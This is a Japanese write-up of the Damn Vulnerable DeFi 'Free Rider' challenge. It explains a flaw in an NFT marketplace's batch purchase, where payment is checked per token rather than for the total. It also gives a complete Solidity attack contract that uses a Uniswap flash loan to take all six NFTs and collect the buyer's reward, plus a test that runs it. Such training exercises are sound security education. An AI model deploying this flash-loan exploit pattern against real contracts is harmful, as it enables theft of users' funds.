ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれます。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、あなたがするべきことは、その問題のユニットテストが通過することを保証することです。
問題リンク:https://www.damnvulnerabledefi.xyz/challenges/10.html
問題の説明:
現在、すでに公開されているダムバリュブル NFT 取引市場があり、最初に 6 つの NFT がミントされ、取引市場で販売されており、販売価格は 15ETH です。
ある買い手があなたに秘密を教えてくれました:市場は脆弱で、すべてのトークンを奪うことができます。しかし、彼はどうやってそれをするかは知りません。そのため、NFT を取り出して彼に送る人に 45ETH の報酬を提供することを望んでいます。
あなたはこの買い手に名声を築きたいと思っているので、この計画に同意しました。
残念ながら、あなたは 0.5ETH しか持っていません。どこかで無料で ETH を得ることができればいいのですが、一時的でも構いません。
FreeRiderBuyer.sol#
買い手コントラクト
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract FreeRiderBuyer is ReentrancyGuard, IERC721Receiver {
using Address for address payable;
address private immutable partner;
IERC721 private immutable nft;
uint256 private constant JOB_PAYOUT = 45 ether;
uint256 private received;
// デプロイ時にこのコントラクトに45ethを転送
constructor(address _partner, address _nft) payable {
require(msg.value == JOB_PAYOUT);
partner = _partner;
nft = IERC721(_nft);
IERC721(_nft).setApprovalForAll(msg.sender, true);
}
// NFTを受け取ったときにトリガーされる関数
function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory
)
external
override
nonReentrant
returns (bytes4)
{
require(msg.sender == address(nft));
require(tx.origin == partner); // トランザクションの発起人がpartnerであることを確認
require(_tokenId >= 0 && _tokenId <= 5);
require(nft.ownerOf(_tokenId) == address(this)); // 所有していることを確認
received++;
// 6つのNFTを受け取った後、45ethをpartnerに転送
if(received == 6) {
payable(partner).sendValue(JOB_PAYOUT);
}
return IERC721Receiver.onERC721Received.selector;
}
}
このコントラクトは IERC721Receiver
を継承しており、NFT
コントラクトは ERC721
を継承しています。
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
contract DamnValuableNFT is ERC721, ERC721Burnable, AccessControl {}
これは、NFT
コントラクトが safeTransferFrom
を呼び出し、to
アドレスがこのコントラクトである場合、onERC721Received
関数がトリガーされることを意味します。
safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
safeTransferFrom
内部では、to
がコントラクトアドレスであるかどうかを判断し、そうであれば onERC721Received
を呼び出します。
FreeRiderNFTMarketplace.sol#
取引コントラクトで、ReentrancyGuard
を継承し、再入攻撃を防ぐために使用されます。
コンストラクタ内で DamnValuableNFT
コントラクトを作成し、amountToMint
数量の NFT をコントラクトデプロイ者にミントしました。
constructor(uint8 amountToMint) payable {
require(amountToMint < 256, "Cannot mint that many tokens");
token = new DamnValuableNFT();
for(uint8 i = 0; i < amountToMint; i++) {
token.safeMint(msg.sender);
}
}
このコントラクトは 2 つの機能を提供します。
- 一括販売
offerMany
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
require(tokenIds.length > 0 && tokenIds.length == prices.length);
for (uint256 i = 0; i < tokenIds.length; i++) {
_offerOne(tokenIds[i], prices[i]);
}
}
function _offerOne(uint256 tokenId, uint256 price) private {
// 入札が > 0 であることを確認
require(price > 0, "Price must be greater than zero");
// 売り手はそのNFTの所有者でなければならない
require(msg.sender == token.ownerOf(tokenId), "Account offering must be the owner");
// 承認されていることを確認
require(
token.getApproved(tokenId) == address(this) ||
token.isApprovedForAll(msg.sender, address(this)),
"Account offering must have approved transfer"
);
// 価格を記録
offers[tokenId] = price;
amountOfOffers++;
emit NFTOffered(msg.sender, tokenId, price);
}
NFT
の保有者がこのメソッドを呼び出すと、いくつかの基本的な検証の他に、このコントラクトが保有者の持つ NFT を操作できるように承認します。
最後に、オファーを offers[tokenId]
に保存し、誰かが購入する際に、保有者がすでにこのコントラクトにその NFT を操作することを承認しているため、支払いを受け取った後、このコントラクトは保有者の NFT
を購入者に直接転送できます。
- 一括購入
buyMany
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}
function _buyOne(uint256 tokenId) private {
// 価格を取得
uint256 priceToPay = offers[tokenId];
// 入金された価格が販売価格以上であることを確認
require(priceToPay > 0, "Token is not being offered");
require(msg.value >= priceToPay, "Amount paid is not enough");
amountOfOffers--;
// NFTを購入者に転送
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
// 受け取ったETHを売り手に転送
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}
売り手が取引コントラクト内でその持つ NFT を販売すると、買い手は購入プロセスを実行できます。まず価格を取得し、受け取った ETH
が販売価格以上であることを確認し、その後このコントラクトが売り手の持つ NFT を買い手に転送し、受け取った ETH
を売り手に転送します。
一括購入機能には明らかな問題があります。受け取った ETH
が販売価格以上であることを確認する際に require(msg.value >= priceToPay, "Amount paid is not enough");
で確認しているのは単一の NFT
の価格であり、一括購入の総額ではありません。また、売り手に転送される ETH はコントラクト内の残高を使用しています。
例えば、取引コントラクトが100ETH
を保有していて、売り手がその持つ tokenId
が 1, 2, 3 の NFT
を販売し、価格がそれぞれ 1ETH
, 5ETH
, 3ETH
の場合、買い手が buyMany
を呼び出す際に支払うべき価格は 9ETH
ですが、実際には 5ETH
(購入価格が最も高い tokenId
の価格)を支払うだけで require
のチェックを満たすことができます。この時、取引コントラクトは合計で 105ETH
を保有しています。転送時、取引コントラクトは売り手に 9ETH
を転送しました。つまり、買い手が支払わなかった ETH
は取引コントラクトの残高から補填されました。
この問題では、NFT
の単価は 15ETH
であるため、6 つの NFT
を購入するには 15ETH
だけ支払えばよく、90ETH
ではありません。しかし、あなたは 0.5ETH
しか持っていません。したがって、ETH を得る方法を見つける必要があります。uniswap
のフラッシュローンを利用するのは良い方法です:
- フラッシュローンで
15WETH
を借りて、WETH
をETH
に交換します。 ETH
を使用してNFT
を購入し、購入した NFT をFreeRiderBuyer
に送信し、45ETH
の報酬を受け取ります。- 最後に、
ETH
をWETH
に戻し、フラッシュローンの手数料を加算してフラッシュローンの借入金を返済します。
これらの操作は 1 つのトランザクション内で完了する必要があるため、攻撃コントラクトを書く必要がありますが、その前にテストファイル free-rider.challenge.js
がどのような初期化を行っているかを確認します:
attacker
に0.5ETH
を送信- コントラクト
WETH
、DVT
、uniswapFactory
、uniswapRouter
をデプロイ uniswapRouter
コントラクトのメソッドaddLiquidityETH
を呼び出して流動性を追加します。このメソッド内部ではペアコントラクトuniswapPair
が作成され、ペアの通貨はWETH-DVT
で、追加された流動性は9000WETH
と15000DVT
です。- コントラクト
FreeRiderNFTMarketplace
をデプロイし、90ETH
を転送。 NFT
コントラクトをデプロイ- 取引コントラクト内で
tokenId
が0~5
のNFT
を販売するための売り注文を作成し、各価格は15ETH
です。 - コントラクト
FreeRiderBuyer
をデプロイし、45ETH
を転送。
攻撃コントラクトのコードは以下の通りです:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "../free-rider/FreeRiderNFTMarketplace.sol";
import "../free-rider/FreeRiderBuyer.sol";
import "../DamnValuableNFT.sol";
contract FreeRiderAttack is IUniswapV2Callee, IERC721Receiver {
FreeRiderBuyer buyer;
FreeRiderNFTMarketplace marketplace;
IUniswapV2Pair pair;
IWETH weth;
DamnValuableNFT nft;
address attacker;
uint256[] tokenIds = [0, 1, 2, 3, 4, 5];
constructor(address _buyer, address payable _marketplace, address _pair, address _weth, address _nft) payable {
buyer = FreeRiderBuyer(_buyer);
marketplace = FreeRiderNFTMarketplace(_marketplace);
pair = IUniswapV2Pair(_pair);
weth = IWETH(_weth);
nft = DamnValuableNFT(_nft);
attacker = msg.sender;
}
function attack(uint amount) external {
// ペアコントラクト: WETH-DVT
// uniswap フラッシュローンで amount 数量の WETH を借りる
// 注意: 最後のパラメータは空であってはいけません。そうでないとフラッシュローンのコールバックは実行されません
pair.swap(amount, 0, address(this), "x");
}
// uniswap フラッシュローンコールバック
function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
// 借りた WETH を ETH に変換
weth.withdraw(amount0);
// 借りた15ETHを取引コントラクトに転送してtokenIdが0~5のNFTを購入
marketplace.buyMany{value: amount0}(tokenIds);
// 購入したNFTをbuyerに転送し、45 ETHを得る
for (uint tokenId = 0; tokenId < tokenIds.length; tokenId++) {
nft.safeTransferFrom(address(this), address(buyer), tokenId);
}
// フラッシュローンの返済に必要な手数料を計算し、返済分をwethに変換
uint fee = amount0 * 3 / 997 + 1;
weth.deposit{value: fee + amount0}();
// フラッシュローンを返済
weth.transfer(address(pair), fee + amount0);
// 残りのethをattackerに転送
payable(address(attacker)).transfer(address(this).balance);
}
receive() external payable {}
function onERC721Received(address, address, uint256, bytes memory) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
テストファイル free-rider.challenge.js
に実行エントリを追加します。
it('Exploit', async function () {
const freeRiderAttack = await (await ethers.getContractFactory('FreeRiderAttack', attacker)).deploy(
this.buyerContract.address,
this.marketplace.address,
this.uniswapPair.address,
this.weth.address,
this.nft.address
)
await freeRiderAttack.attack(NFT_PRICE)
})
最後に yarn free-rider
を実行してテストを通過させます!